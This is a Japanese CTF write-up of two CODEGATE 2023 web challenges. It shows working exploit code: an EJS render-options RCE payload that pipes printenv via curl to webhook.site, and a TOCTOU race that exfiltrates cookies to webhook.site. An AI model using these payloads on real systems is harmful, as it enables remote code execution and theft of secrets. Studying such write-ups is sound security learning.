6/17 - 6/18という日程で開催された。zer0ptsとして参加*1して12位だった。決勝大会に招待されるのは10チームで、そのうち1枠は前回大会の優勝チームとのことだから、この予選大会から選ばれるのは9枠ということになる。微妙な順位ではあるけれども、今年も決勝大会に行けたら嬉しい。
ところで、おそらくそれが可能な問題ではチームごとに固有のフラグを生成するという方法で、チーム間でのflag sharingのような不正行為を検知する仕組みが実装されていた。競技終了後にルールに違反したチームのリストがhall of shameとして公開されていた。
[Web 127] CODEGATE Music Player (30 solves)
Last year, Finalists were involved to put their favorite songs on the playlist to avoid from playing the organizer's loud weeb songs on-site. This year, we decided to provide some good music for the qualification round as well. Good luck solving CTF challenges!
(問題サーバのURL)
添付ファイル: web-codegate-music-player-for_user.zip
前回の決勝大会では、CTFの運営が作業用BGM(?)として参加者からかけてほしい音楽を募集し、プレイリスト*2を作成して再生していた。今回は予選からそれをやろうということ(設定)らしい。
与えられたURLにアクセスすると、次のようなプレイヤーが表示された。適当な再生ボタンを押すと /api/stream/https:%2f%2ffe.gy%2fcopyright-free-content%2fmiku.mp3
のようなAPIからMP3を持ってきて再生が始まった。
ソースコードが提供されているので見ていく。docker-compose.yml
を見ると以下の5つのサービスからなっていることがわかる。
server
: 上記の/api/stream
などのAPIを提供しているforntend
: 名前の通りフロントエンドnginx
: リバースプロキシ。我々はこれを通してserver
やfrontend
へアクセスすることになるredis
:server
が音楽ファイルのキャッシュなどに利用しているworker
: いわゆるXSS bot。このアプリにはURLの通報機能があり、通報されたURLへのChromiumでのアクセスに使われている
フラグの場所の確認
docker-compose.yml
によるとフラグは環境変数で定義されており、また server
のみに与えられている。process.env.FLAG
を参照している箇所を見ると、以下の通り /api/flag
が見つかった。SECRET
というCookieが定義されており、かつその値をキーとするCookieの値がフラグと一致している場合に限って、レスポンスとしてフラグを返すらしい。
const SECRET = process.env.SECRET || "CHEESE_SECRET" const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}" … // get flag app.patch("/api/flag", (req, res) => { const { flag } = req.body if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) { return sendResponse(res, "Nope", 403) } return res.render("flag", flag) })
worker
のコードを見ると、botによるURLへのアクセス時に、Cookieとして SECRET
の値が格納されていることがわかる。しかしながら、"name": os.environ["SECRET"]
のような形でその値をキーとするCookieがセットされている様子はない。/api/flag
は一体なんなのだろう。
async def init_browser(): global browser _browser = await launch(**browser_option) page = await _browser.newPage() try: await page.goto("http://nginx/") cookie = { "name": "SECRET", "value": os.environ['SECRET'], "domain": "nginx", "path": "/", "httpOnly": True, "secure": False } await page.setCookie(cookie) except Exception as e: print("[!] Error during browser initialization: " + str(e)) finally: await page.close() print("[.] Browser is now loaded.") return _browser
XSS
/api/flag
はよくわからないけれども、ひとまずbotを罠にはめるために nginx
上でXSSなどのクライアント系の脆弱性がないか調べていく。音楽ファイルを返す /api/stream/:url
は次の通り。インデントが多くてちょっと分かりづらいけれども、これはパスパラメータとして受け付けた音楽ファイルのURLについて、もしRedisにキャッシュがあればその内容を、もしなければ指定されたURLをaxiosで取りに行ってキャッシュに保存するというような処理を行っている。
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"] … // basic db setup const redisCache = new Redis(REDIS_URL_CACHE) … // check internal ip const isInternalIP = (ipAddress) => { return ip.isPrivate(ipAddress) } // get ip address const getIPAddress = (domain) => { return new Promise((resolve, reject) => { dns.lookup(domain, (error, addresses) => { if (error) { resolve(domain) } else { resolve(addresses) } }) }) } … // run streaming app.get("/api/stream/:url", (req, res) => { try { let url = req.params.url const domain = new URL(url).hostname // prevent memory overload redisCache.dbsize((err, result) => { if(result >= 256){ redisCache.flushdb() } }) // preventing DNS attacks, etc. getIPAddress(domain) .then(ipAddress => { if(!url.startsWith("http://") && !url.startsWith("https://")){ url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "") }else{ if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500) } // redis || axios redisCache.get(url.split("?")[0], (err, result) => { if (err || !result){ axios .get(url, { responseType: "arraybuffer", timeout: 3000 }) .then(response => { if (!allowedContentTypes.includes(response.headers["content-type"])){ return sendResponse(res, "Not a valid music file", 500) } if (response.data.byteLength >= 1024 * 1024 * 3) { return sendResponse(res, "Music file is too big", 500) } redisCache.set(url, response.data.toString("hex")) console.log(url) return sendResponse(res, response.data) }) .catch(err => { return sendResponse(res, "No Hack!", 500) }) }else{ return sendResponse(res, Buffer.from(result, "hex")) } }) }) .catch(e => { return sendResponse(res, "No Hack!", 500) }) } catch (err) { return sendResponse(res, "Failed Streaming!", 500) } })
以下のように、指定されたURLからの音楽ファイルの取得時には、その Content-type
が audio/mp3
や audio/wav
などの音楽ファイルのMIMEタイプであることを確認している。ただし、そのシグネチャを確認しているわけではないので、適当なテキストファイルであったとしても Content-Type
さえこの許可リスト中にあれば通してしまう。
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"] … if (!allowedContentTypes.includes(response.headers["content-type"])){ return sendResponse(res, "Not a valid music file", 500) }
このAPIについて気になることがあり、取得時に Content-Type
のチェックはしているけれども、キャッシュにそのMIMEタイプを保存していない。またレスポンスとして音楽ファイルの内容を返すわけだけれども、その際にレスポンスヘッダに Content-Type
を含めていない。音楽ファイルの再生時にDevToolsで通信を見てみたけれども、やはりこのAPIは Content-Type
を返していない。
X-Content-Type-Options: nosniff
が指定されているわけでもないので、Webブラウザは返ってきた内容をもとにMIME Sniffingを行うはずだ。つまり、HTMLを返すようなURLをこのAPI経由で取得した場合には、WebブラウザでそのAPIに直接アクセスすると、そのままHTMLとして表示されてしまうということになる。Content Security Policyのヘッダが設定されているわけでもないので、自由に nginx
のコンテキストでJavaScriptコードが実行できてしまう。
server
でのRCE
ただ、nginx
のコンテキストでのJSコードの実行ができたとて、どうやってフラグを手に入れればよいのか。結局フラグは server
しか持っていないことになるし、/api/flag
以外ではフラグを参照している箇所はないのだから、server
上でRCEに持ち込んで環境変数の取得をするしかないのではないか。
ぽけーっと考えていると、icchyさんが以下の /api/messages
が怪しいのではないかという発見をした。server
ではテンプレートエンジンとしてEJSが使われている。CVE-2022-29078という「脆弱性」があり*3、{ "settings": { "view options": {…} } }
のような細工したオブジェクトを与えればRCEに持ち込めるのではないかということだった。
問題は SECRET
というCookieを持っていないといけないことだけれども、これは先程の脆弱性を使えば、このCookieを持っているbotに叩かせることができる。
// inquiry app.post("/api/messages", (req, res) => { const { id } = req.body console.log(id) if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) { return sendResponse(res, "Nope", 403) } return res.render("admin", {...id}) })
CVE-2022-29078では outputFunctionName
というオプションが使われていたけれども、以降の修正でこのオプションはJSの識別子らしい文字列でないと受け付けなくなっている。このアプリでは修正後のバージョンが使われているので、別のものを見つけなければならない。
ぽけーっと探していると、icchyさんが client
と escapeFunction
というオプションが怪しそうだということを見つけ、またそのままペイロードまで作成していた。あとは雑に printenv
の内容をWebhook.siteに投げるようなexploitを作成し、botに踏ませればよい。
<?php header('Content-Type: audio/mpeg'); ?> <!doctype html> <script> (async () => { const r = await fetch('/api/messages', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ id: { settings: { 'view options': { client: true, escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);' } } } }) }); })(); </script>
これでフラグが得られた。
codegate2023{can_we_caLL_this_a_0day?vend0r_says_it_is_the_developers_mistake_to_code_like_this}
後で調べたところ、EJSのリポジトリでこれに関するissueが数週間前に立っていたことがわかった。"Never, never give users direct access to the EJS render
function" というのはそれはそうという感じで、res.render('index', req.query)
みたいなコードを書く方が悪い。これをEJSの脆弱性と呼ぶのは微妙かなと思う。
[Web 418] Calculator (18 solves)
Simple javascript based calculator!
(問題サーバのURL)
添付ファイル: web-Calculator-for_user.zip
JSでいい感じに計算できるアプリケーションらしい。与えられたURLにアクセスしてログインすると、次のような画面が表示された。上の textarea
に計算式を入力して Calculate
ボタンを押すと、ちゃんとその計算結果が表示された*4。
実はこのページには <iframe src="/api/calculate.php" id="calc"></iframe>
という形で iframe
が埋め込まれている。埋め込む側は次のように iframe
へ計算式をフラグメント識別子経由で送信し、iframe
から postMessage
で送られてきた計算結果を表示している。
window.onload = () => { let param = new URLSearchParams(location.search); let code = param.get("code"); if(code) { document.getElementById("textvalue").value = atob(code); } window.onmessage = (e) => { if (e.source == window.calc.contentWindow) { if(e.data.hacker) { location.href = '/'; } document.getElementsByTagName("li")[3].innerText = e.data.result; } }; } function calculate() { let code = document.getElementById("textvalue").value; calc.src = "/api/calculate.php#" + btoa(code); } function share() { let code = document.getElementById("textvalue").value; alert(`${location.origin + location.pathname}?code=${btoa(code)}`); }
埋め込まれている /api/calculate.php
は次のような実装になっている。こちらもなかなかシンプル。最終的に送られてきた計算式を eval
で実行しており怪しいものの、/api/debug.php
がtruthyな値を返さない限り、計算式が /!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/
という正規表現にマッチしてしまうと計算が行われないというちょっと面倒な形で、RCEの対策をしようとしている。この計算のタイミングは window.onhashchange
と、ページの読み込み完了ではなくフラグメント識別子が変更されたときであるとわかる。
<script> function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } window.onhashchange = async ()=>{ let code = atob(location.hash.slice(1)); window.isDebug = (await fetch("/api/debug.php").then((response)=>{ return response.json(); }).then((data)=>{ return Number(data.isDebug); })); if(window.isDebug) { let result = eval(atob(location.hash.slice(1))); window.parent.postMessage({result: result, hacker: 0},"*"); } else if(localStorage.getItem(code)) { let result = localStorage.getItem(code); window.parent.postMessage({result: result, hacker: 0},"*"); localStorage.removeItem(code); } else { if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){ alert("Are you hacker??"); window.parent.postMessage({result: null, hacker: 1},"*"); return; } else { let result = eval(atob(location.hash.slice(1))) localStorage.setItem(code, result); window.parent.postMessage({result: result, hacker: 0},"*"); } } } </script>
この問題にもいわゆるXSS botがおり、URLを報告するとChromiumでアクセスしに来てくれる。このbotはPuppeteerで実装されており、次のようにして報告されたURLへアクセスしている。ゲストとしてログインした後に、FLAG
というフラグを含んだCookieを設定して、指定したURLを開いている。この FLAG
というCookieについて、SameSite
属性が Strict
なのは気になるけれども、HttpOnly
属性が付与されていないので document.cookie
にアクセスできたらほぼ勝ちということになる。
async function visit(browser, url) { console.log("url : ", url); if (!url || !url.startsWith("http://") && !url.startsWith("https://")) { console.log("invalid url"); return; } const context = await browser.createIncognitoBrowserContext(); const page = await context.newPage(); await page.goto("http://web/login.php"); await page.type("#username", "guest"); await page.type("#password", "guest"); await page.click('#submitBtn'); await sleep(1000); page.setCookie({ "name": "FLAG", "value": flag, "domain": "web", "path": "/", "httpOnly": false, "sameSite": "Strict" }) try { await page.goto(url); await sleep(10000); } catch (e) { console.log(e); } await context.close(); }
というわけで、先程の /api/calculate.php
でなんとかして任意のJavaScriptコードを実行できるようにしたいところ。例のフィルターが困るけれども、その中でなんとかする方法としてまず考えたのは次の2つだった:
/api/debug.php
がtruthyな値を返す状況を作り、フィルターを無効化する- フィルターを無効化せず、正面から立ち向かう
/api/debug.php
をなんとかできないか
/api/debug.php
でなんとかする方法について調べていく。このPHPのコードは次の通り。なるほど、isAdmin
がtruthyな値になっているユーザとしてログインすればよいらしい。なお、先程のbotがログインする guest
というユーザは isAdmin
に 0
がセットされている。
<?php include("../config.php"); if(!is_login()) alert("login plz", "back"); $query = array( "idx" => $_SESSION["idx"] ); $perm_check = fetch_row("user", $query); header("Content-Type: application/json"); echo json_encode(array("isDebug" => $perm_check["isAdmin"])); ?>
ソースコードとあわせてDBの初期化を行うSQL文も提供されており、これは次の通り。isAdmin
が 1
になっているユーザは admin
だけだし、実はこのアプリには登録機能があるのだけれども、その際には isAdmin
は 0
に設定される。ところで、admin
のパスワードのハッシュ値である dade533ebe440bc025c0f8022149ff6d
について、rockyou.txt
やらなんやらでクラックを試みたけれども、これは失敗した。
SET NAMES utf8; SET time_zone = '+00:00'; SET foreign_key_checks = 0; SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'; DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `idx` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(30) DEFAULT NULL, `pw` varchar(50) DEFAULT NULL, `isAdmin` int(11) DEFAULT NULL, PRIMARY KEY (`idx`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; INSERT INTO `user` ( `username`, `pw`, `isAdmin` ) VALUES ( "admin", "dade533ebe440bc025c0f8022149ff6d", 1 ); INSERT INTO `user` ( `username`, `pw`, `isAdmin` ) VALUES ( "guest", "79f1e6c833cbabc35c90711258135ad7", 0 );
ほか、ユーザのログイン時や登録時にはプレースホルダやORMを使わず、次のように自前の関数でSQL文を組み立てて頑張っている。clean_sql
は実際には addslashes
であり、SQLiの対策としてはちょっと微妙な感じで、なんらかの形でSQLiができるのではないかと疑う。
<?php function fetch_row($table, $query, $operator=''){ global $dbcon; $sql = 'SELECT * FROM '. $table; if($query){ $sql .= ' WHERE '; foreach ($query as $key => $value) { $sql .= "{$key}='".clean_sql($value)."' {$operator} "; } if($operator){ $sql = trim(substr($sql, 0, strrpos($sql, $operator))); } else{ $sql = trim($sql); } } $result = mysqli_query($dbcon, $sql); return mysqli_fetch_array($result, MYSQLI_ASSOC); } function insert($table, $query){ global $dbcon; $sql = 'INSERT INTO ' . $table . ' '; $column = ''; $data = ''; foreach ($query as $key => $value) { $column .= '`' . $key . '`, '; $data .= "'".clean_sql($value)."', "; } $column = substr($column, 0, strrpos($column, ',')); $data = substr($data, 0, strrpos($data, ',')); $sql .= "({$column}) VALUES ({$data})"; $result = mysqli_query($dbcon, $sql); return $result; }
この insert
が使われている /register.php
のコードを確認する。いきなり可変変数で register_globals
的なことをしておりおいおいと思うものの、$_POST
からすべてのパラメータを取り出しているわけではなく、username
と pw
に限ってそれぞれ $username
と $pw
に取り出しており、この妙な処理の部分は攻撃には使えないように思う。
$pw
については $pw = md5($pw . __SALT__)
とMD5のハッシュ値にされており、md5
がなんらかの方法で引数をそのまま返さない限り、特に攻撃には利用できなそう。
<?php include("./config.php"); if(is_login()) alert("already login", "./"); $require_params = array("username", "pw"); if($_POST){ foreach ($require_params as $key){ if(!trim($_POST[$key])){ alert("invalid parameter", "back"); } $$key = trim($_POST[$key]); } if(!valid_str($username, "username")){ alert("invalid parameter", "back"); } $pw = md5($pw . __SALT__); $query = array( "username" => $username ); $dup_check = fetch_row("user", $query, "or"); if($dup_check) alert("already exist", "back"); $query = array( "username" => $username, "pw" => $pw, "isAdmin" => "0" ); if(!insert("user", $query)){ alert("register fail", "back"); } alert("register success", "./"); exit; } render_page("register"); ?>
$username
もまた微妙で、valid_str
という関数によってチェックが入ってしまっている。実装は次の通りで、a-z0-9_
以外の文字が含まれてしまうと false
を返す。そのため、こちらもやはり攻撃には利用できなそう。登録時の処理だけでなくログイン時の処理についても、同様に valid_str
によるユーザ名のチェックと、パスワードのMD5ハッシュ値への変換とがなされていた。登録時とログイン時以外にはDBは参照されていないので、SQLiについては期待ができない。ほか、ユーザ周りでセッションの改ざんなどをする方法を探したが見つからなかった。
<?php function valid_str($str, $type) { switch (trim($type)) { case 'username': if(strlen($str) > 30 || preg_match('/[^a-z0-9_]/', $str)) return false; break; case 'email': if(strlen($str) > 50 || !filter_var($str, FILTER_VALIDATE_EMAIL)) return false; break; default: return false; break; } return true; }
フィルターを正面から突破できないか
正面から立ち向かう方法について調べていく。まずASCIIの範囲内でどんな文字が使えるかを調べるコードを書いた:
let table = ''; for (let i = 0x20; i < 0x7f; i++) { const c = String.fromCharCode(i); if (!/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(c)) { table += c; } } console.log(table);
実行して出力された文字の一覧は次の通り。アルファベットの大文字全部が使えるのは嬉しいけれども、小文字が abcdefx
しか使えないのはつらい。バックティックとバックスラッシュ、それから 0-9a-f
が使えるので、`\x4a`
のようにテンプレートリテラルとエスケープシーケンスを使うことで任意の文字列を作ることはできる。.
や ()
が残されているので、関数呼び出しやdot notationでのプロパティアクセスはできる。
%()*+,-./0123456789:<=>?ABCDEFGHIJKLMNOPQRSTUVWXYZ\`abcdefx|~
しかしながら、bracket notationによるプロパティアクセスができないので、たとえば 123['constructor']['constructor']('alert(123)')()
のように、文字列の組み立てやプロパティアクセスを組み合わせての、フィルターをバイパスしつつの任意コード実行への持ち込みは難しい。ほかのプロパティへのアクセス方法を考えたけれども、Object.getOwnPropertyDescriptor(Object.getPrototypeOf(123), 'constructor').value
だの let { constructor: a } = 123
だの、このフィルターを考えるに難しいものしか思い浮かばない。
JSF*ckやJS-Alphaのような(似たようなフィルターのもとでJSコードを書く)ツールを眺めてその知見を活かせないか考えるも、やはりプロパティへのアクセス方法や、eval
や Function
、setTimeout
のような、文字列から任意のコードを実行する方法が作れないことが問題となってくる。だいぶ考えるも、フィルターの範囲内でなんとかする方法が思いつかない。
TOCTOUによるフィルターのバイパス
考えた2つの方法のどちらもうまくいかず、大変悩んでいた。いったん休憩していたところ、ひとつアイデアが出てきた。よく見ると、チェック時と eval
時で2回 location.hash
にアクセスしていることがわかる。わざわざ code
という変数に送られてきたコードが入っているにもかかわらず、eval
時にはもう一度わざわざ location.hash
から取りに行っている。
チェックと eval
の間には /api/debug.php
へのアクセスが挟まっているが、そのタイミングで location.hash
を変更することでフィルターをバイパスできないか。つまり、チェック時には a
のようにフィルターに引っかからないコードにしつつ、実際の実行時には (new Image).src = '//example.com?' + document.cookie
のようにCookieを外部に送信するコードとなるようにすれば、なんとかなるのではないか。これはTOCTOUですねえ。
let code = atob(location.hash.slice(1)); window.isDebug = (await fetch("/api/debug.php").then((response)=>{ return response.json(); }).then((data)=>{ // … if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){ alert("Are you hacker??"); window.parent.postMessage({result: null, hacker: 1},"*"); return; } else { let result = eval(atob(location.hash.slice(1)))
ということでexploitを書く。これは次のような流れで、2と3の間にコードのチェック処理が入り、コードの実行のタイミングでは3でセットしたコードになっていれば、攻撃が成功する。
微妙なタイミングなので、複数のウィンドウを開いて何度も繰り返し実行するようにする。フラグは SameSite=Strict
なので、iframe
ではなく window.open
で開く。また、わざわざ最初にコードなしで /api/calculate.php
を開くのは、コードが実行されるのはフラグメント識別子の変更のタイミングであり、このイベントを発生させるため。
<body> <script> function sleep(ms) { return new Promise(r => setTimeout(r, ms)); } (async () => { const SANDBOX = 'http://web/api/calculate.php'; const LEN = 5; function doIt(x) { return new Promise(async r => { x.location.href = SANDBOX; await sleep(500); x.location.href = SANDBOX + '#' + btoa('aa'); await sleep(5); x.location.href = SANDBOX + '#' + btoa(`(new Image).src = '//webhook.site/…?'+document.cookie`); await sleep(500); r(); }); } for (let i = 0; i < LEN; i++) { let w = window.open(SANDBOX); let f = async () => { await doIt(w); setTimeout(f, 0); }; setTimeout(f, 0); } })(); </script> </body>
これを通報するとフラグが得られた。
codegate2023{056a7969047d8ba327b27e600b8512a562476fd5de1b00df7add8777ee9a3664}
*1:今回はicchyさんを含めて5人での参加だった
*2:私はDistortion!!やまっしろスタートライン、走れメロンパンをリクエストしていた